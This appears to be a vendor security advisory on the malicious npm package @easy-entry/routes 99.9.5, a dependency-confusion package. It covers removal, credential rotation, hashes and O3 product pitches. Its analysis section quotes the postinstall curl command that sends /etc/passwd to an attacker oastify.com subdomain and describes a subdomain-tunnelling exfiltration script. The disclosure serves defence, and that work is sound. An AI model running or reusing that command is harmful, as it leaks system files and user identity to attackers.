Which versions of @easy-entry/routes are malicious?

The following npm versions of @easy-entry/routes are flagged malicious: 99.9.5. Treat any of these as compromised.

How do I remediate @easy-entry/routes if I installed it?

Remove @easy-entry/routes from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed @easy-entry/routes — how do I know if it already compromised me?

If @easy-entry/routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @easy-entry/routes part of a known attack campaign?

Yes — @easy-entry/routes is associated with the IN-MAL-2026-005022, IN-MAL-2026-005021, GHSA-g9fq-cx25-24m4, RLMA-2026-05860 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @easy-entry/routes across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @easy-entry/routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @easy-entry/routes across your stack and pipelines.

Malicious package

@easy-entry/routesnpm

@easy-entry/routes is a confirmed malicious npm package (MAL-2026-5410) that executes malicious code on install (malicious version 99.9.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @easy-entry/routes (npm)

MAL-2026-5410

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @easy-entry/routes

What this malware does

On npm install, the package's postinstall hook in package.json runs curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, POSTing the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain prefixed with the installer's hostname. The same hook executes scripts/scream3gg.js, which hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues an HTTP fetch to http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, tunneling installer identity out via subdomain. The package has no legitimate functionality — it ships only the exfil payload. The scoped name @easy-entry/routes combined with an absurd 99.9.5 version is a textbook dependency-confusion shape designed to win resolution against an internal-only package of the same name.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

99.9.5

Indicators of compromise (SHA-256)

1519bae164552d25b7e45c1361d040210e637c9f8a304aa807aae7c56ce008a3

29029f04aa1f06f388096de7cfdda12b92ce4c8dc68c2fe3e6091b318a521516

3846894fe241ab5de8efc59afd69f338f570f4c34c6ae8ab05b3d51a8dafe9bf

5e7b9c9a3eeb4171f79c5d09732c89677b4187fc3a362e3bd8c0ef90c7d71f78

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @easy-entry/routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @easy-entry/routes across your stack and pipelines.
If you installed it — respond
Remove @easy-entry/routes from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @easy-entry/routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @easy-entry/routes before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @easy-entry/routes on npm has been identified as a malicious package (version 99.9.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005022IN-MAL-2026-005021GHSA-g9fq-cx25-24m4RLMA-2026-05860

References

Credits

Amazon Inspector · finder
ReversingLabs · finder

Detect & block this

O3 blocks @easy-entry/routes-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database